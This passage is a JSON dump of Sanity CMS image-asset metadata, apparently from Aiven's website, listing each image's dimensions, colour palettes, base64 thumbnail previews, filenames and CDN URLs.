#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666a94","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77a0a","foreground":"#fff","population":2.74,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Contribution_program_hero_blog.png","path":"images/sczeoy4w/production/53daad82c024a7e401bc8b6f139726319278d36d-1567x844.png","sha1hash":"53daad82c024a7e401bc8b6f139726319278d36d","size":302118,"title":"Take my claw ... join the Aiven Technical Content Contribution Program","uploadId":"VHTZfUwlc5TUU73NP8m1FwsWp01yXxsp","url":"https://cdn.sanity.io/images/sczeoy4w/production/53daad82c024a7e401bc8b6f139726319278d36d-1567x844.png"} {"_createdAt":"2022-11-21T10:36:24Z","_id":"image-46d67d82cd09e18c617e9656e103b93c2c5294f0-2500x1308-png","_rev":"bUMlF7B1Xxw34pzcKtbnVW","_type":"sanity.imageAsset","_updatedAt":"2022-11-21T10:36:24Z","assetId":"46d67d82cd09e18c617e9656e103b93c2c5294f0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6KKpJ00009%:N9F^*660f-o4T%P~B]zSl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAADF0lEQVQokS3SW2xTdRwH8N8ybo5thHQJgu5B44MPIrGDIoowLnExYXOIkCDh4gOJJiokGxjDEqKBRBINlzdCiCaaEIWZKNPNyFAxxDWjOz3dbE9P1552Pe1pz+1//ufSc2m7H5n68H39PHy/X8BwC2BkFeCrawCXAwgXz8Di5A8tHuJ6v1zc7z/66xN/LvaRT8m2GmKbXi622rbV7thWp2Nba2zL6jCpsUKRK4DYAMDwMsDNK2Gxd12rc3DLygd7N7Xm88V2RywMuPOpUZdLpN1MkvHE/Oeurr5QkOnzcUE99jcvn5nKKGcZQXtfqNCIbdJViAjQeLkT1N5uMPY+06kMhp96sH9nR4rPPe3MPjofRH8v19kpDGanm0GS+TOoioMzefXA7anCxPX72YXr97Pi99FiLJpRPjRNc+3iElja/SzE+iMt/L6XOtKHdqwfez2yOissdDs5/kLAsVKQ5RpelvPcHP/Q15RDfySl41cmOPbj7xK4lMsTmeoEK43ohIZKtAEwevhN+Or4Ebh99O3W8dPvrQgBtOg66XI1ZciVpYSrVCtOVRLtqvRTzSD9v7HFY5fuJplT3zDNU98yeGmMk8aY0jlVN0K87AHgxghsOFkABIBfEQFlEWzb6vKF9JCfnJn1uETFSzKlGpe4a0vi4L1E8cSXPyfZ4VvxxeFbLH4xnq78Ei+PaISGikYDwNm1E+680gsACCjlYKlY07TWeULm0yAVL/vp2Yb7z4znpNiHtiQeZnLyu6PRfPzGJN+8McnjneiCNJ1Vz1mmGfp3FGd7H9zbuhvO7nkDZFIDxUNQiP2kopoXdYVopqoirUhIq5Vpi+jv6JZ7olQlbJ4TsDA3j6WyVtUsd8Sx/gfNfT1PfP3alvbBnnBb31sHl1FEEBWra171hwTNYyo6FVVNK+iE/Egp7ffr9QMN2xhvphMLTTYmNlU1FtTrH5jUWPsfOLBpw80dPc8N9IS7N27dthoAQCZWu0hqfWXDuaASes0g5Ao16GlqGC/WXC/sW2Q4yKeuBvzctUBTP3M9bw8hpG3pNo8BWPMgc4KP6eQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3859","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044488","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c6d1d7","foreground":"#000","population":1.16,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6d1d7","foreground":"#000","population":1.16,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69f98","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c849c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13bef1","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"talon-one-infograph.png","path":"images/sczeoy4w/production/46d67d82cd09e18c617e9656e103b93c2c5294f0-2500x1308.png","sha1hash":"46d67d82cd09e18c617e9656e103b93c2c5294f0","size":71405,"uploadId":"bspvx3iscjcHPRmaYigC6T9DuTHqCbyn","url":"https://cdn.sanity.io/images/sczeoy4w/production/46d67d82cd09e18c617e9656e103b93c2c5294f0-2500x1308.png"} {"_createdAt":"2022-12-14T11:44:13Z","_id":"image-3e17fa288872d1923edf0e1a9111141fa24bf5d8-1771x1612-png","_rev":"3re4XGUaXqpLG8nUT4Sum2","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T11:44:13Z","assetId":"3e17fa288872d1923edf0e1a9111141fa24bf5d8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGJYCk3C0g=sEJ9u=f-UR%F100{LB,JCxbKi+u+I1zo0TK%M=aayE*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.09863523573201,"height":1612,"width":1771},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFC0lEQVQ4jV2UC0yTVxTHTylQ+qCAMRM10Tk1E6cC9vtKKfIQBIYCtv2+Ik8Zi098MB9zWqW6seETCQ+V14Tx3rSCYwq1QDsTGPLYLNRki4kuWdxDnIqKWEvvWVrYTHaTf05u/vf+cnJvzh+QZgEpxiEu0owQadYbaUZAaNaxB6dPs0AcZxx1WlMeA4Sauv/fchrOw05xkWY9kGZFSLMCpFl3dIJZDlL/gh2AKTnB1DR82oc3HbJgnTI5hGLdXlMsf4JiPa0UK7TTjAfKFG4kPM6VrIl0wahIDq6OAvRPnW5ENV1ZgLtfX4XhwSEYbjdAX2cX5CGCruQrwJhMFwxJckMZw5+UqYR2ihXi8jQBWZrJR/80D6RYd5St52JwIqBUCShRA6EZAIvFAiMOjYzAsGUEjMNmaLlyAwBmAHgzXLVvGte+IIOLMVE8wlBiVEpmYGyoNwYnilCSJHCACa3ikHc3AcrWAwwODoLZbHbIdXBwiG8Zvi3Yerjcc07YniVe0l2rZwZtkZzZTi+wFQol+DlPQT7hpZJs73hMXxBA4uSzMEjpiY4nkapcMEgB0NvbCwMDA+49PT2LjEZjdHdXZ8ynZ2viZaz29LzV+24sjtjUWLyTLhgvFDfhcfcBctD9Dtnh3Us2zi8nzHIWo8PnEanKE2kVD2UKAKPRCP39/V4mk4nR6/VV169fqym72FiWlJ1v9ovJsVJrUp5f3Bsw+qJQ/ASPu46SA24PcJv335j2zkOiCPiOxK5iMGTdLEKxAhKk5EJlZSXcunVrlslkyjEYDD92dHTcr2to6t+089CvS+WKyVWhcqzb9x55VOb350R54I3npyQ1E3v8Ouxpfr9jAjVK1oSXkdA4f6RYEZGqeDB79mzo6enx6e7uTu3q6jIaDIax6urqxxkbP3i6PEBii1wVSEoOqSbNrZ/99cvNph8G9JdazRV5Vx/tWGuxJcrHMTLyJgmJjyc060NoFR+GhoZAr9dz29ra3m5vb89ub2/vqqure6jRaKxZWVnko5zdWHa+mHzbqrO1tLS8bGz+ZuxKfe0fA/kHHz5OSbDaI6N/Qnl8qp1Wz0QHUKfTOT4FtFotp76+fo5Op1Nevny5sLq62nSupOjBhZLT1srSk6T0lJZ8kbvfnnf0CDl/rpS0lhTa72RvmXwRm9CLweuUk9INM4iU4TvHr6+vz1kz0zM45RXlwqaGhoVVFZXxFYWHT1wqSL19/WS0tS03aLJ+Nz1empM4UXw8136xtAT1ubnP7qVsrLWFJkiRSvK0yVj3qXlGhObmZsAHY3DtTDk0AHAqw1jRtSNhy+5eWHR49ILv8JMCn1ejWrHNsn+h/Yo2g3xZXDDeWFR08/v9B7OeRrFzMZDhP49IcYH8/HznlNTW1kLnto8hCRFw8y4XpFN5mBEhxkrfFVglPoBF/A7Mc/15/ID4/tChCEvT2WO6moqqzYZj+YvH5Wox0mq3+6otb1JHo9EAkaoBKSXcS8iAsbAk13EqWfAqMdrHdmz+wskTnrHkKG+rbZ9w7297VnzYpd0e3nkkf96z97O8cKWSZw1J5mCg4g1wKspYwCAVYOh6wGAloEzJJRK1B6EZEcaH+pD0Jb729MVzX6skb72KWOuFAQohBip4dinjgv4qQOmG/wGnghZQrgBclgyooQBj4jgkROFGKLWQBCSLSECKyL4yVWALSuG9DE/nPo3OBFyhcmajVb4B/gGE4ZWXUjdyHgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324860","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072962","foreground":"#fff","population":1.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa710d","foreground":"#fff","population":4.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c2d6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc447c","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d6a4b","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa710d","foreground":"#fff","population":4.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SaSi_page_image_support.png","path":"images/sczeoy4w/production/3e17fa288872d1923edf0e1a9111141fa24bf5d8-1771x1612.png","sha1hash":"3e17fa288872d1923edf0e1a9111141fa24bf5d8","size":453659,"uploadId":"ojZZ0b9VZbMbTXtc9zNcVjIdkTxLiTzP","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e17fa288872d1923edf0e1a9111141fa24bf5d8-1771x1612.png"} {"_createdAt":"2022-10-25T14:40:11Z","_id":"image-b60479035b520bb4f8dfb13866b62bafb5734776-2000x1371-png","_rev":"Qcyw2DP1mihQ74Z84AJRGA","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:40:11Z","assetId":"b60479035b520bb4f8dfb13866b62bafb5734776","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VVGu2n~W9YM_R:rC#Rb]KPohABJUV]VsR$6*J.w3v}s7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4587892049598834,"height":1371,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEV0lEQVQ4jW3SZ1DTdxzH8S/EaKQW7Wlb6Z3aAtee50D4oULCCqEQZEOC/okkJIFAZAUCqMlBBC0cq4AgLmS4B1p7SIRCQhpF1JYlikAIYFrQYqvGhOFofz1rn7Xvu9fTz6MPPLlzHnQYw7XIpYBf5cG7BDHcj5PEsW6JYoGDQERQohVCqNqWCv1Rx8GIMbQDgGF0HAwGA/w3jAE7AzRregBjbDHZtJtSLGW7ysTcAzJBfFKlQLEGd/xOau5rtxg81gq5AGDCGF5h/P+Dc1kfwoT5LUypa8nG4xGfzRxyZAwUbNp3XhygrGdKzrdRy+IfBDc4PpRfXfbons6yt1oDwyEn4A88BwOtt8CPTvsX9R/wvEUKj7WNC16UBXxhPrAubrbo86vGsjX3B1O97mlcZA+7NhzsHqBVV4+E1DLH91z9aOTFpEXhRi7kZEihuGA/FObngixTAvGCaPBnuAF0zmGL6XLOCqPCOdr8jWPHbLnDzGzVVyaDlK67TVVM/bT58OtB35rH+vD6mjHeKepwpZJiCwAp+yVQVVECVRWloJBnwa443vvBWYxJphw3B7Pc4bi5lPFspi4Yz9S4mA0ZDN1dr7ypHr+GP0e5F7GBe27oF6JBMpx2xoYtYllFhQWu5EWxVnGJiFVERJBNeJDvEqY3zQI6G+sWP8nYHPgsc/2PxgLam5mjPth8zPm5Pst3oIt+YLzbp25+mH0a69n1L/QRx4508g86slkBm/icyOQUsTA/WSwsiOURUoIVtJXpTVsAqYId9lfSw7K7snz0/Xtd3ujynV52V3uPnSpNu1PLO9Lb/PXhKRWzdF4dWTKv5BWqKnkZbFaov5eQuyNXkii6IEkUXYoX7CzmsEPoTG8aGYjwAPf8jITaQznJk9/KBc8KisQTknPVuu1NP0zEnlHr9+We0RUl5v9WkZb7sjRd9rOUL0wI3caw4xERG0UxHN+4mChmDIftvCM88BM/Os0S2KH+drvTk4QJ+/MvMCpODrmcUz31bb9nCr/54DX/Vv98QpvGuOv0yenM8uJemXxPaWJsjJurP52CLzeC1fJFJFsba9K7+xEEAZscnQDiBZwFe/P2rXQ/+n346kt9jfbKkWkP9fBf7JuDmN/Vj2Nvdb2OU7eMplw5W559qIJWlS231guJRZPsMMpB/wCyC82NTHV1JW/dsoWEEAJYCwB6jC09OiZt7K+Pbf9SOdSAWu/3MFR9Y6Edd3VRHdobcerWksy2Jkaltn2ZWZ5KMXFCbccighwUnp72TgjZofc+RQgtAh9hAlwukkHj7R4SoXq43P36wFaqsifa+/rt9JAWbWp0SxsrTXltQ9l3jUuP3Om3nOSHUkw7Q9bqWUGu2V6eG50QWocQWo8QWo0QWgwYPwLIOgUpF9vh7a9jFl33Bxee6Oy2LlZ1rqho06w4q1Iv0WpvkIe0GsAiAp7ygy1N3GArXWSgdQ7d4wOEkNU7zggtRAhZ/g2vDP0V1b52kwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b4f4d","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60340c","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f48a1e","foreground":"#000","population":5.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0a59d","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbcc8f","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#975a82","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48a1e","foreground":"#000","population":5.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b60479035b520bb4f8dfb13866b62bafb5734776-2000x1371.png","path":"images/sczeoy4w/production/b60479035b520bb4f8dfb13866b62bafb5734776-2000x1371.png","sha1hash":"b60479035b520bb4f8dfb13866b62bafb5734776","size":115868,"uploadId":"7y84v4t0LReWZUEZ6tEw5lvb496Pbd62","url":"https://cdn.sanity.io/images/sczeoy4w/production/b60479035b520bb4f8dfb13866b62bafb5734776-2000x1371.png"} {"_createdAt":"2022-10-25T14:41:19Z","_id":"image-7968be9d515f3a268d71480511ebf185f37aabb7-1999x1489-png","_rev":"zOeC7CyMMM1eQqtdpM4DEV","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:41:19Z","assetId":"7968be9d515f3a268d71480511ebf185f37aabb7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJM%TYv200?w4n7L7K9F^*S#00VDsDjdx]O@56oew|t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3425117528542647,"height":1489,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAET0lEQVQ4jT2Ua2wUVRiGT6nlJm2kNQEqhMIKVkO4dNJWKWBbVChWEGi7haahykVCESglMRAEbGIgAVTUevlhQuQSMF6wiYkSTTSAoanb0gtt17rbnW13rmfO+c6Z2Z0zShizRPnx5vt+PXmTN3kQZS5itvcgwMXD+L6PaPq3PWR795GlWZlU3M8j0dhcePd4Ybx+0+KzlRUBaVlRQVFR0TxJkmZKkjQZAU09ADAukA0u4jiFsJ5CCSWJ4J6P8PXbyPZ95BDnUQ7iGYglqqDj+ybl9KmmC7t3lz+/cuWyIklaKklSQJKkaQjLFLGkhxxHIJfYyMM2EiAQpHzEbJEB3JsGTMy3db7WjuOjdNT4zArLH+Ce/sNDtzprLl26srSp6fX84uLinJKSkiw0cvI3BLbI4LbItG1vis296Yx5OZh6mZQ4jwBNzgcrWQMKnCFR42cjav5qqOwLSvg7QPkuytxSwv/Ovnb5PPozMoYQQGoCcO9xxsQS27Q3MAX24gTbPCbDLKM/OgVUshAM/rKlwA5dtk5o4/Rjy6Bnua4cs9X4TmbozxIMOQOhQSQP9z0AZlEungYmdoHGL5NR83ctitvHIng5kY0AmGwVWE4lNp1FupksITS1nVvWieTY0JnkSOd7LBxqVoeHngr1GZn+3WMIAXMnAheFlIk3iOF8acTJD1rM+tAcJw2A7VcA3AbKRDVh3jzKxSxO+auOrrQ70d6bdODWoNrbeSXSe7eyq0fNuqH7KL3wHOCiArjYQ8FtI9g5RQ27DUz7AGC7nlrJCgB3MVipWWQcz2S62QCq+iMejUTiAwM94TtDn4aH4pWKxrMd7mSkgYuAiw0MUjuYSvYxWT8CGn0LSHIb6KyUykaAR7XyVF+kIdk7EqQJ3IINdlFJ0O9GY+Yn0RhuVnVeTpkooExMSgNzgblPspi2hNy8U6He7Asq4fF6jJ0XGHEKtIi10BhItJHQX13QH7tFFDhvEveMSdyTFnWPEOZuBS5KgYvZwMVERL6+jrQEy6QdNybH2q/m/XH1l7lD/XKhSd1FPPXPzHjMCYz2m2/HepSQPGgMyzHaMZaA07ppH6XM3c9sbwtwUQZcPAFcZCFrRc1UY03ddHVrY668pyk3fGhnXuz94zPMi+fmQPvhfPPCRwWR24OrenuMbV0hvbWrO7F/MKw1KRrbQsCtBy4agYv0LQYuspG1orYAVwXL9GD9anVnfZn6Zt0KrWVzuXlw/WpysGoNO7SunJ5oXBD6qiP3yrd9M765Fprd3Svnm5YT+A+SHjSdQuBiKiJltQvwS3Vr9ZpgUN0e3KDsDa5XW2o3Goc21pHW6kZoWVvN91UWeJvyMtPCCCCEfL8bpdx7WelGwMVjwEUOcDEJuMhAZHntbLy6rtjYHKxQXwuuUpqDz6kHakuM1o1lVmv1i3CwqoS1rstTzh2f0OX7CO7G0cAwQe2f/4SS7r2HpvrfVv8C5CovVeB5XJMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394446","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d1816","foreground":"#fff","population":0.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f7477","foreground":"#fff","population":1.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c4df","foreground":"#000","population":0.97,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f7477","foreground":"#fff","population":1.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8405a","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7968be9d515f3a268d71480511ebf185f37aabb7-1999x1489.png","path":"images/sczeoy4w/production/7968be9d515f3a268d71480511ebf185f37aabb7-1999x1489.png","sha1hash":"7968be9d515f3a268d71480511ebf185f37aabb7","size":163636,"uploadId":"JHvZK6nDgCLnmDF3U0p4hdibxj3EMRde","url":"https://cdn.sanity.io/images/sczeoy4w/production/7968be9d515f3a268d71480511ebf185f37aabb7-1999x1489.png"} {"_createdAt":"2022-12-14T11:41:48Z","_id":"image-1508f5be067b5d5f2b1a1e21af7a8bf34693b52e-1667x1667-png","_rev":"K0rtrsNuqDEgCtVQGjuwWa","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T11:41:48Z","assetId":"1508f5be067b5d5f2b1a1e21af7a8bf34693b52e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7G7[9A+00.90LRN-R?HBn*}0k5s0LQm~A3Dqw5Q=|M_HX~A-:vg7z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1667,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554936","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a2a5e","foreground":"#fff","population":1.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0c","foreground":"#000","population":4.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9c8dc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc447c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8767","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0c","foreground":"#000","population":4.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"SaSi_page_image_building_sustainability.png","path":"images/sczeoy4w/production/1508f5be067b5d5f2b1a1e21af7a8bf34693b52e-1667x1667.png","sha1hash":"1508f5be067b5d5f2b1a1e21af7a8bf34693b52e","size":1565675,"uploadId":"HSDX3OXFrJMy3htiRUbR5iBVE7O9dnLV","url":"https://cdn.sanity.io/images/sczeoy4w/production/1508f5be067b5d5f2b1a1e21af7a8bf34693b52e-1667x1667.png"} {"_createdAt":"2022-12-14T11:43:35Z","_id":"image-d9b37ba6492e46aabfc5c37258d54f5707dc787c-1667x1979-png","_rev":"K0rtrsNuqDEgCtVQGjvhP0","_type":"sanity.imageAsset","_updatedAt":"2022-12-14T11:43:35Z","assetId":"d9b37ba6492e46aabfc5c37258d54f5707dc787c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCE-dl1z0z$lv.2v^*[CFxx[0{eC-o}?Nx+Hv|7fN1wHzoB9,ti{5l","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.842344618494189,"height":1979,"width":1667},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAYAAAD6S912AAAACXBIWXMAABcRAAAXEQHKJvM/AAAGfklEQVQ4jX2UfVATZx7HfyHhJRgRKHJiWymiUxAtLyZYEWXUygnIewTcvG1edjfZzZKQZJNAguEtUN4kIqCHxNqO5eqhcjI2tjOtjnO99jo3nevcodNe79TrefVG7bR3tFfwhOdmY88e/eOemd/sM8/89vN8v9+d/UFycjLU19dDIBCAY8eOQWdnJ7S1tUF/fz/o9XpQqVTALxzHQavVhs8IggCEEPj9fmBZFpat0dFR6OrqEno8HqHZbAafzwdutxuCwSAMDQ1BT09P+CV+j2EY6HQ6MBqN4fO+vj5obGxcDnQ4HCK73f4MX06nM4pv4MF8M6/49OnT4PV6Qa1W87AYkiTjGYYRcxwn4PsYhlkObGpqirPZbNUcx9V7vd6f8HaUSmU4guHhYUEwGIxgGCYKx/FUkiRLaJquYFk2zeFwRPDK2R9bdjqdaRzH9bpcruNutzuvvbMLykpL4eLFi+DxeFbZbLbNBEEU6/V6jmGYQFNTk9Zmsz3LsqxAoVCAxWJZDrTb7flOp3OK47h3HA5HaVOTTRQMnuIv4vNJoSiKIgjiAsMw77nd7t6Ojo5sn88XWV5eDiMjI+E+JJMDktUCktaGMyxqbm4OtbS0fOjxtNQdbvVGh0IhwczMTKTVak3SarUmo9F43eVy/WFgYMA0OTn5FK+Kz3V6ehpsCjUgKQ98XKChmw+0tHZc8bS2f2xxeDV75Bbxr65dFU9OTmb19PTs0Ol0rNFovOrz+U4Fg8FtoVAoinc2NTUFF65dASTIgCUeJuUVygGy9tssDZR3FqNabu+S22zRWwwJb85cSJyYmKjz+/29ZrP5BMMwpzweDzE4OJg+MDAgGR4eFl2+fDkc2U2s8X8VRsAqKc1u2W/99Qsllt+l7KBpSZ4paXioP83v91u9Xu+Mw25/1263T3Kcw9zm8xUGAoH08fFxyfmfvyFAAICEOf+FRSKZPBZEW6jsxHyafGobbRbnULnrdjui29vb1jdarC4TTV+laXrWZDK9RTNmQ1t7+/NjY2NJEydPxpw5fw7uKW2wsOMQb5eHrViSySU8UBSdbYyPyTYmSHIMUSgAcKZXndjZWKE345UfGJS1d2ms4pxLWbpz7HBTZOD1aUHPa6PwAW6FBwV1Ed9uk0c/egyLXZLWigBStQBP4wBiFhLyK+DBpCQCnU3YeCOwsXPEWvhnp2Lvv17B8t69qUmtQvUJsehsBXybv0swL6uNRLk1YpRbswJJa8ULMrkw/JUFWSSIc4xgN7wkQAjgdvC5lY/OrFbeG1//4dnW3fN+fcnSFXzr37/RZhxFypznPyloFCJpZfRivlzy8T4s/lyFcu